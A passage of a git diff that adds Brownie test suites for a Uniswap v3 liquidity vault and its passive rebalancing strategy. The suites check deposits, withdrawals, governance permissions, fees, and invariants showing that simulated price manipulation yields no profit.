+    assert amount1 <= amount1Desired
+
+    # Check received right number of shares
+    assert shares == vault.balanceOf(recipient) > 0
+
+    # Check paid right amount of tokens
+    assert amount0 == balance0 - tokens[0].balanceOf(user)
+    assert amount1 == balance1 - tokens[1].balanceOf(user)
+
+    # Check one amount is tight
+    assert approx(amount0) == amount0Desired or approx(amount1) == amount1Desired
+
+    # Check total amounts are in proportion
+    total0After, total1After = vault.getTotalAmounts()
+    totalSupplyAfter = vault.totalSupply()
+    assert approx(total0 * total1After) == total1 * total0After
+    assert approx(total0 * totalSupplyAfter) == total0After * totalSupply
+    assert approx(total1 * totalSupplyAfter) == total1After * totalSupply
+
+    # Check event
+    assert tx.events["Deposit"] == {
+        "sender": user,
+        "to": recipient,
+        "shares": shares,
+        "amount0": amount0,
+        "amount1": amount1,
+    }
+
+
+@pytest.mark.parametrize(
+    "amount0Desired,amount1Desired",
+    [[1e4, 1e18], [1e18, 1e18]],
+)
+def test_deposit_when_vault_only_has_token0(
+    vaultOnlyWithToken0,
+    pool,
+    tokens,
+    getPositions,
+    gov,
+    user,
+    recipient,
+    amount0Desired,
+    amount1Desired,
+):
+    vault = vaultOnlyWithToken0
+
+    # Poke fees
+    vault.withdraw(vault.balanceOf(gov) // 2, 0, 0, gov, {"from": gov})
+
+    # Store balances, supply and positions
+    balance0 = tokens[0].balanceOf(user)
+    balance1 = tokens[1].balanceOf(user)
+    totalSupply = vault.totalSupply()
+    total0, total1 = vault.getTotalAmounts()
+
+    # Deposit
+    tx = vault.deposit(amount0Desired, amount1Desired, 0, 0, recipient, {"from": user})
+    shares, amount0, amount1 = tx.return_value
+
+    # Check amounts don't exceed desired
+    assert amount0 <= amount0Desired
+    assert amount1 <= amount1Desired
+
+    # Check received right number of shares
+    assert shares == vault.balanceOf(recipient) > 0
+
+    # Check paid right amount of tokens
+    assert amount0 == balance0 - tokens[0].balanceOf(user)
+    assert amount1 == balance1 - tokens[1].balanceOf(user)
+
+    # Check paid mainly token0
+    assert amount0 > 0
+    assert approx(amount1 / amount0, abs=1e-3) == 0
+
+    # Check amount is tight
+    assert approx(amount0) == amount0Desired
+
+    # Check total amounts are in proportion
+    total0After, total1After = vault.getTotalAmounts()
+    totalSupplyAfter = vault.totalSupply()
+    assert approx(total0 * totalSupplyAfter) == total0After * totalSupply
+
+
+@pytest.mark.parametrize(
+    "amount0Desired,amount1Desired",
+    [[1e4, 1e18], [1e18, 1e18]],
+)
+def test_deposit_when_vault_only_has_token1(
+    vaultOnlyWithToken1,
+    pool,
+    tokens,
+    getPositions,
+    gov,
+    user,
+    recipient,
+    amount0Desired,
+    amount1Desired,
+):
+    vault = vaultOnlyWithToken1
+
+    # Poke fees
+    vault.withdraw(vault.balanceOf(gov) // 2, 0, 0, gov, {"from": gov})
+
+    # Store balances, supply and positions
+    balance0 = tokens[0].balanceOf(user)
+    balance1 = tokens[1].balanceOf(user)
+    totalSupply = vault.totalSupply()
+    total0, total1 = vault.getTotalAmounts()
+
+    # Deposit
+    tx = vault.deposit(amount0Desired, amount1Desired, 0, 0, recipient, {"from": user})
+    shares, amount0, amount1 = tx.return_value
+
+    # Check amounts don't exceed desired
+    assert amount0 <= amount0Desired
+    assert amount1 <= amount1Desired
+
+    # Check received right number of shares
+    assert shares == vault.balanceOf(recipient) > 0
+
+    # Check paid right amount of tokens
+    assert amount0 == balance0 - tokens[0].balanceOf(user)
+    assert amount1 == balance1 - tokens[1].balanceOf(user)
+
+    # Check paid mainly token1
+    assert amount1 > 0
+    assert approx(amount0 / amount1, abs=1e-3) == 0
+
+    # Check amount is tight
+    assert approx(amount1) == amount1Desired
+
+    # Check total amounts are in proportion
+    total0After, total1After = vault.getTotalAmounts()
+    totalSupplyAfter = vault.totalSupply()
+    assert approx(total1 * totalSupplyAfter) == total1After * totalSupply
+
+
+def test_deposit_checks(vault, user):
+    with reverts("amount0Desired or amount1Desired"):
+        vault.deposit(0, 0, 0, 0, user, {"from": user})
+    with reverts("to"):
+        vault.deposit(1e8, 1e8, 0, 0, ZERO_ADDRESS, {"from": user})
+    with reverts("to"):
+        vault.deposit(1e8, 1e8, 0, 0, vault, {"from": user})
+
+    with reverts("amount0Min"):
+        vault.deposit(1e8, 0, 2e8, 0, user, {"from": user})
+    with reverts("amount1Min"):
+        vault.deposit(0, 1e8, 0, 2e8, user, {"from": user})
+
+    with reverts("maxTotalSupply"):
+        vault.deposit(1e8, 200e18, 0, 0, user, {"from": user})
+
+
+def test_withdraw(
+    vaultAfterPriceMove,
+    strategy,
+    pool,
+    tokens,
+    getPositions,
+    gov,
+    user,
+    recipient,
+    keeper,
+):
+    vault = vaultAfterPriceMove
+
+    # Deposit and rebalance
+    tx = vault.deposit(1e8, 1e10, 0, 0, user, {"from": user})
+    shares, _, _ = tx.return_value
+    strategy.rebalance({"from": keeper})
+
+    # Store balances, supply and positions
+    balance0 = tokens[0].balanceOf(recipient)
+    balance1 = tokens[1].balanceOf(recipient)
+    totalSupply = vault.totalSupply()
+    total0, total1 = vault.getTotalAmounts()
+    basePos, limitPos = getPositions(vault)
+
+    # Withdraw all shares
+    tx = vault.withdraw(shares, 0, 0, recipient, {"from": user})
+    amount0, amount1 = tx.return_value
+
+    # Check is empty now
+    assert vault.balanceOf(user) == 0
+
+    # Check received right amount of tokens
+    assert tokens[0].balanceOf(recipient) - balance0 == amount0 > 0
+    assert tokens[1].balanceOf(recipient) - balance1 == amount1 > 0
+
+    # Check total amounts are in proportion
+    ratio = (totalSupply - shares) / totalSupply
+    total0After, total1After = vault.getTotalAmounts()
+    assert approx(total0After / total0) == ratio
+    assert approx(total1After / total1) == ratio
+
+    # Check liquidity in pool decreases proportionally
+    basePosAfter, limitPosAfter = getPositions(vault)
+    assert approx(basePosAfter[0] / basePos[0]) == ratio
+    assert approx(limitPosAfter[0] / limitPos[0]) == ratio
+
+    # Check event
+    assert tx.events["Withdraw"] == {
+        "sender": user,
+        "to": recipient,
+        "shares": shares,
+        "amount0": amount0,
+        "amount1": amount1,
+    }
+
+
+def test_withdraw_checks(vault, user, recipient):
+    tx = vault.deposit(1e8, 1e10, 0, 0, user, {"from": user})
+    shares, _, _ = tx.return_value
+
+    with reverts("shares"):
+        vault.withdraw(0, 0, 0, recipient, {"from": user})
+    with reverts("to"):
+        vault.withdraw(shares - 1000, 0, 0, ZERO_ADDRESS, {"from": user})
+    with reverts("to"):
+        vault.withdraw(shares - 1000, 0, 0, vault, {"from": user})
+
+    with reverts("amount0Min"):
+        vault.withdraw(shares - 1000, 1e18, 0, recipient, {"from": user})
+    with reverts("amount1Min"):
+        vault.withdraw(shares - 1000, 0, 1e18, recipient, {"from": user})
diff --git a/basic/69-charm.fi/tests/test_governance_methods.py b/basic/69-charm.fi/tests/test_governance_methods.py
new file mode 100644
index 000000000..a9670521a
--- /dev/null
+++ b/basic/69-charm.fi/tests/test_governance_methods.py
@@ -0,0 +1,157 @@
+from brownie import reverts
+from pytest import approx
+
+
+def test_vault_governance_methods(
+    MockToken, vault, strategy, tokens, gov, user, recipient, keeper
+):
+
+    # Check sweep
+    with reverts("token"):
+        vault.sweep(tokens[0], 1e18, recipient, {"from": gov})
+    with reverts("token"):
+        vault.sweep(tokens[1], 1e18, recipient, {"from": gov})
+    randomToken = gov.deploy(MockToken, "a", "a", 18)
+    randomToken.mint(vault, 3e18, {"from": gov})
+    with reverts("governance"):
+        vault.sweep(randomToken, 1e18, recipient, {"from": user})
+    balance = randomToken.balanceOf(recipient)
+    vault.sweep(randomToken, 1e18, recipient, {"from": gov})
+    assert randomToken.balanceOf(recipient) == balance + 1e18
+    assert randomToken.balanceOf(vault) == 2e18
+
+    # Check setting protocol fee
+    with reverts("governance"):
+        vault.setProtocolFee(0, {"from": user})
+    with reverts("protocolFee"):
+        vault.setProtocolFee(1e6, {"from": gov})
+    vault.setProtocolFee(0, {"from": gov})
+    assert vault.protocolFee() == 0
+
+    # Check setting max total supply
+    with reverts("governance"):
+        vault.setMaxTotalSupply(1 << 255, {"from": user})
+    vault.setMaxTotalSupply(1 << 255, {"from": gov})
+    assert vault.maxTotalSupply() == 1 << 255
+
+    # Check emergency burn
+    vault.deposit(1e8, 1e10, 0, 0, gov, {"from": gov})
+    strategy.rebalance({"from": keeper})
+
+    with reverts("governance"):
+        vault.emergencyBurn(vault.baseLower(), vault.baseUpper(), 1e4, {"from": user})
+    balance0 = tokens[0].balanceOf(vault)
+    balance1 = tokens[1].balanceOf(vault)
+    total0, total1 = vault.getTotalAmounts()
+    vault.emergencyBurn(vault.baseLower(), vault.baseUpper(), 1e4, {"from": gov})
+    assert tokens[0].balanceOf(vault) > balance0
+    assert tokens[1].balanceOf(vault) > balance1
+    total0After, total1After = vault.getTotalAmounts()
+    assert approx(total0After) == total0
+    assert approx(total1After) == total1
+
+    # Check setting strategy
+    with reverts("governance"):
+        vault.setStrategy(recipient, {"from": user})
+    assert vault.strategy() != recipient
+    vault.setStrategy(recipient, {"from": gov})
+    assert vault.strategy() == recipient
+
+    # Check setting governance
+    with reverts("governance"):
+        vault.setGovernance(recipient, {"from": user})
+    assert vault.pendingGovernance() != recipient
+    vault.setGovernance(recipient, {"from": gov})
+    assert vault.pendingGovernance() == recipient
+
+    # Check accepting governance
+    with reverts("pendingGovernance"):
+        vault.acceptGovernance({"from": user})
+    assert vault.governance() != recipient
+    vault.acceptGovernance({"from": recipient})
+    assert vault.governance() == recipient
+
+
+def test_collect_protocol_fees(
+    vault, pool, strategy, router, tokens, gov, user, recipient, keeper
+):
+    strategy.setMaxTwapDeviation(1 << 20, {"from": gov})
+    vault.deposit(1e18, 1e20, 0, 0, gov, {"from": gov})
+    tx = strategy.rebalance({"from": keeper})
+
+    router.swap(pool, True, 1e16, {"from": gov})
+    router.swap(pool, False, 1e18, {"from": gov})
+    tx = strategy.rebalance({"from": keeper})
+    protocolFees0, protocolFees1 = (
+        vault.accruedProtocolFees0(),
+        vault.accruedProtocolFees1(),
+    )
+
+    balance0 = tokens[0].balanceOf(recipient)
+    balance1 = tokens[1].balanceOf(recipient)
+    with reverts("governance"):
+        vault.collectProtocol(1e3, 1e4, recipient, {"from": user})
+    with reverts("SafeMath: subtraction overflow"):
+        vault.collectProtocol(1e18, 1e4, recipient, {"from": gov})
+    with reverts("SafeMath: subtraction overflow"):
+        vault.collectProtocol(1e3, 1e18, recipient, {"from": gov})
+    vault.collectProtocol(1e3, 1e4, recipient, {"from": gov})
+    assert vault.accruedProtocolFees0() == protocolFees0 - 1e3
+    assert vault.accruedProtocolFees1() == protocolFees1 - 1e4
+    assert tokens[0].balanceOf(recipient) - balance0 == 1e3
+    assert tokens[1].balanceOf(recipient) - balance1 == 1e4 > 0
+
+
+def test_strategy_governance_methods(vault, strategy, gov, user, recipient):
+
+    # Check setting base threshold
+    with reverts("governance"):
+        strategy.setBaseThreshold(0, {"from": user})
+    with reverts("threshold % tickSpacing"):
+        strategy.setBaseThreshold(2401, {"from": gov})
+    with reverts("threshold > 0"):
+        strategy.setBaseThreshold(0, {"from": gov})
+    with reverts("threshold too high"):
+        strategy.setBaseThreshold(887280, {"from": gov})
+    strategy.setBaseThreshold(4800, {"from": gov})
+    assert strategy.baseThreshold() == 4800
+
+    # Check setting limit threshold
+    with reverts("governance"):
+        strategy.setLimitThreshold(0, {"from": user})
+    with reverts("threshold % tickSpacing"):
+        strategy.setLimitThreshold(1201, {"from": gov})
+    with reverts("threshold > 0"):
+        strategy.setLimitThreshold(0, {"from": gov})
+    with reverts("threshold too high"):
+        strategy.setLimitThreshold(887280, {"from": gov})
+    strategy.setLimitThreshold(600, {"from": gov})
+    assert strategy.limitThreshold() == 600
+
+    # Check setting max twap deviation
+    with reverts("governance"):
+        strategy.setMaxTwapDeviation(1000, {"from": user})
+    with reverts("maxTwapDeviation"):
+        strategy.setMaxTwapDeviation(-1, {"from": gov})
+    strategy.setMaxTwapDeviation(1000, {"from": gov})
+    assert strategy.maxTwapDeviation() == 1000
+
+    # Check setting twap duration
+    with reverts("governance"):
+        strategy.setTwapDuration(800, {"from": user})
+    strategy.setTwapDuration(800, {"from": gov})
+    assert strategy.twapDuration() == 800
+
+    # Check setting keeper
+    with reverts("governance"):
+        strategy.setKeeper(recipient, {"from": user})
+    assert strategy.keeper() != recipient
+    strategy.setKeeper(recipient, {"from": gov})
+    assert strategy.keeper() == recipient
+
+    # Check gov changed in vault
+    vault.setGovernance(user, {"from": gov})
+    vault.acceptGovernance({"from": user})
+    with reverts("governance"):
+        strategy.setKeeper(recipient, {"from": gov})
+    strategy.setKeeper(recipient, {"from": user})
diff --git a/basic/69-charm.fi/tests/test_invariants.py b/basic/69-charm.fi/tests/test_invariants.py
new file mode 100644
index 000000000..bb2f15a60
--- /dev/null
+++ b/basic/69-charm.fi/tests/test_invariants.py
@@ -0,0 +1,422 @@
+from brownie.test import given, strategy
+from hypothesis import settings
+from pytest import approx
+
+
+MAX_EXAMPLES = 5  # faster
+# MAX_EXAMPLES = 50
+
+
+def getPrice(pool):
+    sqrtPrice = pool.slot0()[0] / (1 << 96)
+    return sqrtPrice ** 2
+
+
+@given(
+    amount0Desired=strategy("uint256", min_value=0, max_value=1e18),
+    amount1Desired=strategy("uint256", min_value=0, max_value=1e18),
+    buy=strategy("bool"),
+    qty=strategy("uint256", min_value=1e3, max_value=1e16),
+)
+@settings(max_examples=MAX_EXAMPLES)
+def test_deposit_invariants(
+    createPoolVaultStrategy,
+    router,
+    gov,
+    user,
+    keeper,
+    amount0Desired,
+    amount1Desired,
+    buy,
+    qty,
+):
+    pool, vault, strategy = createPoolVaultStrategy()
+
+    # Set fee to 0 since this when an arb is most likely to work
+    vault.setProtocolFee(0, {"from": gov})
+
+    # Simulate deposit and random price move
+    vault.deposit(1e16, 1e18, 0, 0, user, {"from": user})
+    strategy.rebalance({"from": keeper})
+    router.swap(pool, buy, qty, {"from": user})
+
+    # Poke Uniswap amounts owed to include fees
+    shares = vault.balanceOf(user)
+    vault.withdraw(shares // 2, 0, 0, user, {"from": user})
+
+    # Store totals
+    total0, total1 = vault.getTotalAmounts()
+    totalSupply = vault.totalSupply()
+
+    # Ignore when output shares is 0:
+    if amount1Desired < 2 and total1 > 0:
+        return
+    if amount0Desired < 2 and total0 > 0:
+        return
+
+    # Deposit
+    tx = vault.deposit(amount0Desired, amount1Desired, 0, 0, user, {"from": user})
+    shares, amount0, amount1 = tx.return_value
+
+    # Check amounts don't exceed desired
+    assert amount0 <= amount0Desired
+    assert amount1 <= amount1Desired
+
+    # Check one is tight
+    assert amount0 == amount0Desired or amount1 == amount1Desired
+
+    # Check ratios stay the same
+    if amount0 > 1e6 and amount1 > 1e6:
+        assert approx(amount1 * total0) == amount0 * total1
+        assert approx(amount0 * totalSupply) == shares * total0
+        assert approx(amount1 * totalSupply) == shares * total1
+
+    # Check doesn't under-pay
+    assert amount0 * totalSupply >= shares * total0
+    assert amount1 * totalSupply >= shares * total1
+
+
+@given(
+    share_frac=strategy("uint256", min_value=1, max_value=1e8),
+    buy=strategy("bool"),
+    qty=strategy("uint256", min_value=1e3, max_value=1e16),
+)
+@settings(max_examples=MAX_EXAMPLES)
+def test_withdraw_invariants(
+    createPoolVaultStrategy,
+    router,
+    gov,
+    user,
+    keeper,
+    share_frac,
+    buy,
+    qty,
+):
+    pool, vault, strategy = createPoolVaultStrategy()
+
+    # Simulate deposit and random price move
+    vault.deposit(1e16, 1e18, 0, 0, user, {"from": user})
+    strategy.rebalance({"from": keeper})
+    router.swap(pool, buy, qty, {"from": user})
+
+    # Poke Uniswap amounts owed to include fees
+    vault.deposit(100, 100, 0, 0, user, {"from": user})
+
+    # Store totals
+    total0, total1 = vault.getTotalAmounts()
+    totalSupply = vault.totalSupply()
+
+    shares = vault.balanceOf(user) * share_frac / 1e8
+    if shares == 0:
+        return
+
+    tx = vault.withdraw(shares, 0, 0, user, {"from": user})
+    withdraw0, withdraw1 = tx.return_value
+    assert approx(withdraw0 * totalSupply) == total0 * shares
+    assert approx(withdraw1 * totalSupply) == total1 * shares
+
+    total0After, total1After = vault.getTotalAmounts()
+    assert approx(total0After) == total0 - withdraw0
+    assert approx(total1After) == total1 - withdraw1
+
+
+@given(
+    amount0Desired=strategy("uint256", min_value=1e12, max_value=1e18),
+    amount1Desired=strategy("uint256", min_value=1e12, max_value=1e18),
+    buy=strategy("bool"),
+    qty=strategy("uint256", min_value=1e3, max_value=1e8),
+)
+@settings(max_examples=MAX_EXAMPLES)
+def test_rebalance_invariants(
+    MockToken,
+    createPoolVaultStrategy,
+    router,
+    gov,
+    user,
+    keeper,
+    amount0Desired,
+    amount1Desired,
+    buy,
+    qty,
+):
+    pool, vault, strategy = createPoolVaultStrategy()
+
+    # Set fee to 0 since this when an arb is most likely to work
+    vault.setProtocolFee(0, {"from": gov})
+
+    # Simulate random deposit and random price move
+    vault.deposit(amount0Desired, amount1Desired, 0, 0, user, {"from": user})
+    strategy.rebalance({"from": keeper})
+    router.swap(pool, buy, qty, {"from": user})
+
+    # Ignore TWAP deviation
+    strategy.setMaxTwapDeviation(1 << 22, {"from": gov})
+
+    # Poke Uniswap amounts owed to include fees
+    shares = vault.balanceOf(user)
+    vault.withdraw(shares // 2, 0, 0, user, {"from": user})
+
+    # Store totals
+    total0, total1 = vault.getTotalAmounts()
+
+    strategy.rebalance({"from": keeper})
+
+    # Check leftover balances is low
+    tokens = MockToken.at(pool.token0()), MockToken.at(pool.token1())
+    assert tokens[0].balanceOf(vault) - vault.accruedProtocolFees0() < 10000
+    assert tokens[1].balanceOf(vault) - vault.accruedProtocolFees1() < 10000
+
+    # Check total amounts haven't changed
+    newTotal0, newTotal1 = vault.getTotalAmounts()
+    assert approx(total0, abs=1000) == newTotal0
+    assert approx(total1, abs=1000) == newTotal1
+    assert total0 - 2 <= newTotal0 <= total0
+    assert total1 - 2 <= newTotal1 <= total1
+
+
+@given(
+    amount0Desired=strategy("uint256", min_value=1e8, max_value=1e18),
+    amount1Desired=strategy("uint256", min_value=1e8, max_value=1e18),
+    buy=strategy("bool"),
+    qty=strategy("uint256", min_value=1e3, max_value=1e16),
+)
+@settings(max_examples=MAX_EXAMPLES)
+def test_cannot_make_instant_profit_from_deposit_then_withdraw(
+    createPoolVaultStrategy,
+    router,
+    gov,
+    user,
+    keeper,
+    amount0Desired,
+    amount1Desired,
+    buy,
+    qty,
+):
+    pool, vault, strategy = createPoolVaultStrategy()
+
+    # Set fee to 0 since this when an arb is most likely to work
+    vault.setProtocolFee(0, {"from": gov})
+
+    # Simulate deposit and random price move
+    vault.deposit(1e16, 1e18, 0, 0, user, {"from": user})
+    strategy.rebalance({"from": keeper})
+    router.swap(pool, buy, qty, {"from": user})
+
+    # Deposit
+    tx = vault.deposit(amount0Desired, amount1Desired, 0, 0, user, {"from": user})
+    shares, amount0Deposit, amount1Deposit = tx.return_value
+
+    # Withdraw all
+    tx = vault.withdraw(shares, 0, 0, user, {"from": user})
+    amount0Withdraw, amount1Withdraw = tx.return_value
+
+    # Check did not make a profit
+    assert amount0Deposit >= amount0Withdraw
+    assert amount1Deposit >= amount1Withdraw
+
+    # Check amounts are roughly equal
+    assert approx(amount0Deposit, abs=1000) == amount0Withdraw
+    assert approx(amount1Deposit, abs=1000) == amount1Withdraw
+
+
+@given(
+    amount0Desired=strategy("uint256", min_value=1e8, max_value=1e18),
+    amount1Desired=strategy("uint256", min_value=1e8, max_value=1e18),
+    buy=strategy("bool"),
+    buy2=strategy("bool"),
+    qty=strategy("uint256", min_value=1e3, max_value=1e16),
+    qty2=strategy("uint256", min_value=1e3, max_value=1e16),
+    manipulateBack=strategy("bool"),
+)
+@settings(max_examples=MAX_EXAMPLES)
+def test_cannot_make_instant_profit_from_manipulated_deposit(
+    MockToken,
+    createPoolVaultStrategy,
+    router,
+    gov,
+    user,
+    keeper,
+    amount0Desired,
+    amount1Desired,
+    buy,
+    qty,
+    buy2,
+    qty2,
+    manipulateBack,
+):
+    pool, vault, strategy = createPoolVaultStrategy()
+
+    # Set fee to 0 since this when an arb is most likely to work
+    vault.setProtocolFee(0, {"from": gov})
+
+    # Simulate deposit and random price move
+    vault.deposit(1e16, 1e18, 0, 0, user, {"from": user})
+    strategy.rebalance({"from": keeper})
+    router.swap(pool, buy, qty, {"from": user})
+
+    # Store balances and totals before
+    tokens = MockToken.at(pool.token0()), MockToken.at(pool.token1())
+    balance0 = tokens[0].balanceOf(user)
+    balance1 = tokens[1].balanceOf(user)
+    total0, total1 = vault.getTotalAmounts()
+    price = getPrice(pool)
+
+    # Manipulate
+    router.swap(pool, buy2, qty2, {"from": user})
+
+    # Deposit
+    tx = vault.deposit(amount0Desired, amount1Desired, 0, 0, user, {"from": user})
+    shares, _, _ = tx.return_value
+
+    # Manipulate price back
+    if manipulateBack:
+        router.swap(pool, not buy2, -qty2 * 0.997, {"from": user})
+
+    # Withdraw all
+    vault.withdraw(shares, 0, 0, user, {"from": user})
+
+    # Store balances and totals after
+    balance0After = tokens[0].balanceOf(user)
+    balance1After = tokens[1].balanceOf(user)
+    total0After, total1After = vault.getTotalAmounts()
+
+    # Check attacker did not make a profit
+    dbalance0 = balance0After - balance0
+    dbalance1 = balance1After - balance1
+    assert dbalance0 * price + dbalance1 <= 0
+
+    # Check vault can't be griefed
+    dtotal0 = total0After - total0
+    dtotal1 = total1After - total1
+    assert dtotal0 * price + dtotal1 >= 0
+
+
+@given(
+    amount0Desired=strategy("uint256", min_value=1e8, max_value=1e18),
+    amount1Desired=strategy("uint256", min_value=1e8, max_value=1e18),
+    buy=strategy("bool"),
+    buy2=strategy("bool"),
+    qty=strategy("uint256", min_value=1e3, max_value=1e16),
+    qty2=strategy("uint256", min_value=1e3, max_value=1e16),
+    manipulateBack=strategy("bool"),
+)
+@settings(max_examples=MAX_EXAMPLES)
+def test_cannot_make_instant_profit_from_manipulated_withdraw(
+    MockToken,
+    createPoolVaultStrategy,
+    router,
+    gov,
+    user,
+    keeper,
+    amount0Desired,
+    amount1Desired,
+    buy,
+    qty,
+    buy2,
+    qty2,
+    manipulateBack,
+):
+    pool, vault, strategy = createPoolVaultStrategy()
+
+    # Set fee to 0 since this when an arb is most likely to work
+    vault.setProtocolFee(0, {"from": gov})
+
+    # Simulate deposit and random price move
+    vault.deposit(1e16, 1e18, 0, 0, user, {"from": user})
+    strategy.rebalance({"from": keeper})
+    router.swap(pool, buy, qty, {"from": user})
+
+    # Store initial balances
+    tokens = MockToken.at(pool.token0()), MockToken.at(pool.token1())
+    balance0 = tokens[0].balanceOf(user)
+    balance1 = tokens[1].balanceOf(user)
+    total0, total1 = vault.getTotalAmounts()
+    price = getPrice(pool)
+
+    # Deposit
+    tx = vault.deposit(amount0Desired, amount1Desired, 0, 0, user, {"from": user})
+    shares, _, _ = tx.return_value
+
+    # Manipulate
+    router.swap(pool, buy2, qty2, {"from": user})
+
+    # Withdraw all
+    vault.withdraw(shares, 0, 0, user, {"from": user})
+
+    # Manipulate back
+    if manipulateBack:
+        router.swap(pool, not buy2, -qty2 * 0.997, {"from": user})
+
+    balance0After = tokens[0].balanceOf(user)
+    balance1After = tokens[1].balanceOf(user)
+    total0After, total1After = vault.getTotalAmounts()
+
+    # Check attacker did not make a profit
+    dbalance0 = balance0After - balance0
+    dbalance1 = balance1After - balance1
+    assert dbalance0 * price + dbalance1 <= 0
+
+    # Check vault can't be griefed
+    dtotal0 = total0After - total0
+    dtotal1 = total1After - total1
+    assert dtotal0 * price + dtotal1 >= 0
+
+
+@given(
+    amount0Desired=strategy("uint256", min_value=1e12, max_value=1e18),
+    amount1Desired=strategy("uint256", min_value=1e12, max_value=1e18),
+    buy=strategy("bool"),
+    buy2=strategy("bool"),
+    qty=strategy("uint256", min_value=1e3, max_value=1e8),
+    qty2=strategy("uint256", min_value=1e3, max_value=1e8),
+)
+@settings(max_examples=MAX_EXAMPLES)
+def test_cannot_make_instant_profit_around_rebalance(
+    createPoolVaultStrategy,
+    router,
+    gov,
+    user,
+    keeper,
+    amount0Desired,
+    amount1Desired,
+    buy,
+    qty,
+    buy2,
+    qty2,
+):
+    pool, vault, strategy = createPoolVaultStrategy()
+
+    # Set fee to 0 since this when an arb is most likely to work
+    vault.setProtocolFee(0, {"from": gov})
+
+    # Simulate deposit and random price move
+    vault.deposit(1e16, 1e18, 0, 0, user, {"from": user})
+    strategy.rebalance({"from": keeper})
+    router.swap(pool, buy, qty, {"from": user})
+
+    # Poke Uniswap amounts owed to include fees
+    shares = vault.balanceOf(user)
+    vault.withdraw(shares // 2, 0, 0, user, {"from": user})
+
+    # Store totals before
+    total0, total1 = vault.getTotalAmounts()
+
+    # Deposit
+    tx = vault.deposit(amount0Desired, amount1Desired, 0, 0, user, {"from": user})
+    shares, amount0Deposit, amount1Deposit = tx.return_value
+
+    # Rebalance
+    strategy.rebalance({"from": keeper})
+
+    # Withdraw all
+    tx = vault.withdraw(shares, 0, 0, user, {"from": user})
+    amount0Withdraw, amount1Withdraw = tx.return_value
+    total0After, total1After = vault.getTotalAmounts()
+
+    assert not (amount0Deposit < amount0Withdraw and amount1Deposit <= amount1Withdraw)
+    assert not (amount0Deposit <= amount0Withdraw and amount1Deposit < amount1Withdraw)
+
+    assert total0 <= total0After + 2
+    assert total1 <= total1After + 2
+    assert approx(total0) == total0After
+    assert approx(total1) == total1After
diff --git a/basic/69-charm.fi/tests/test_passive_strategy.py b/basic/69-charm.fi/tests/test_passive_strategy.py
new file mode 100644
index 000000000..1d664f177
--- /dev/null
+++ b/basic/69-charm.fi/tests/test_passive_strategy.py
@@ -0,0 +1,157 @@
+from brownie import chain, reverts
+import pytest
+from pytest import approx
+
+from conftest import computePositionKey
+
+
+@pytest.mark.parametrize("buy", [False, True])
+@pytest.mark.parametrize("big", [False, True])
+def test_strategy_rebalance(
+    vault,
+    strategy,
+    pool,
+    tokens,
+    router,
+    getPositions,
+    gov,
+    user,
+    keeper,
+    buy,
+    big,
+    PassiveStrategy,
+):
+    strategy = gov.deploy(PassiveStrategy, vault, 2400, 1200, 0, 0, 200000, 600, keeper)
+    vault.setStrategy(strategy, {"from": gov})
+
+    # Mint some liquidity
+    vault.deposit(1e16, 1e18, 0, 0, user, {"from": user})
+    strategy.rebalance({"from": keeper})
+
+    # Do a swap to move the price
+    qty = 1e16 * [100, 1][buy] * [1, 100][big]
+    router.swap(pool, buy, qty, {"from": gov})
+
+    # fast forward 1 day
+    chain.sleep(86400)
+
+    # Store totals
+    total0, total1 = vault.getTotalAmounts()
+    totalSupply = vault.totalSupply()
+
+    # Rebalance
+    tx = strategy.rebalance({"from": keeper})
+
+    # Check ranges are set correctly
+    tick = pool.slot0()[1]
+    tickFloor = tick // 60 * 60
+    assert vault.baseLower() == tickFloor - 2400
+    assert vault.baseUpper() == tickFloor + 60 + 2400
+    if buy:
+        assert vault.limitLower() == tickFloor + 60
+        assert vault.limitUpper() == tickFloor + 60 + 1200
+    else:
+        assert vault.limitLower() == tickFloor - 1200
+        assert vault.limitUpper() == tickFloor
+
+    assert strategy.lastTimestamp() == tx.timestamp
+    assert strategy.lastTick() == tick
+
+
+def test_rebalance_period_check(
+    vault, strategy, pool, tokens, router, gov, user, keeper, PassiveStrategy
+):
+    strategy = gov.deploy(PassiveStrategy, vault, 2400, 1200, 0, 0, 200000, 600, keeper)
+    vault.setStrategy(strategy, {"from": gov})
+
+    # Set period
+    strategy.setPeriod(86400, {"from": gov})
+
+    # Rebalance
+    strategy.rebalance({"from": keeper})
+
+    # Wait just under 24 hours
+    chain.sleep(86400 - 10)
+
+    # Can't rebalance
+    with reverts("cannot rebalance"):
+        strategy.rebalance({"from": keeper})
+
+    chain.sleep(10)
+
+    # Rebalance
+    strategy.rebalance({"from": keeper})
+
+
+@pytest.mark.parametrize("buy", [False, True])
+def test_rebalance_min_tick_move_check(
+    vault, strategy, pool, tokens, router, gov, user, keeper, buy, PassiveStrategy
+):
+    strategy = gov.deploy(PassiveStrategy, vault, 2400, 1200, 0, 0, 200000, 600, keeper)
+    vault.setStrategy(strategy, {"from": gov})
+
+    # Rebalance
+    strategy.rebalance({"from": keeper})
+
+    # Set min tick move
+    strategy.setMinTickMove(100, {"from": gov})
+
+    # Can't rebalance
+    with reverts("cannot rebalance"):
+        strategy.rebalance({"from": keeper})
+
+    router.swap(pool, buy, 1e18, {"from": gov})
+
+    # Rebalance
+    strategy.rebalance({"from": keeper})
+
+
+@pytest.mark.parametrize("buy", [False, True])
+def test_rebalance_twap_check(
+    vault, strategy, pool, tokens, router, gov, user, keeper, buy, PassiveStrategy
+):
+    strategy = gov.deploy(PassiveStrategy, vault, 2400, 1200, 0, 0, 200000, 600, keeper)
+    vault.setStrategy(strategy, {"from": gov})
+
+    # Set max deviation
+    strategy.setMaxTwapDeviation(500, {"from": gov})
+
+    # Mint some liquidity
+    vault.deposit(1e8, 1e10, 0, 0, user, {"from": user})
+
+    # Do a swap to move the price a lot
+    qty = 1e16 * 100 * [100, 1][buy]
+    router.swap(pool, buy, qty, {"from": gov})
+
+    # Can't rebalance
+    with reverts("cannot rebalance"):
+        strategy.rebalance({"from": keeper})
+
+    # Wait for twap period to pass and poke price
+    chain.sleep(610)
+    router.swap(pool, buy, 1e8, {"from": gov})
+
+    # Rebalance
+    strategy.rebalance({"from": keeper})
+
+
+def test_can_rebalance_when_vault_empty(
+    vault, strategy, pool, tokens, gov, user, keeper, PassiveStrategy
+):
+    strategy = gov.deploy(PassiveStrategy, vault, 2400, 1200, 0, 0, 200000, 600, keeper)
+    vault.setStrategy(strategy, {"from": gov})
+
+    assert tokens[0].balanceOf(vault) == 0
+    assert tokens[1].balanceOf(vault) == 0
+    tx = strategy.rebalance({"from": keeper})
+
+    # Check ranges are set correctly
+    tick = pool.slot0()[1]
+    tickFloor = tick // 60 * 60
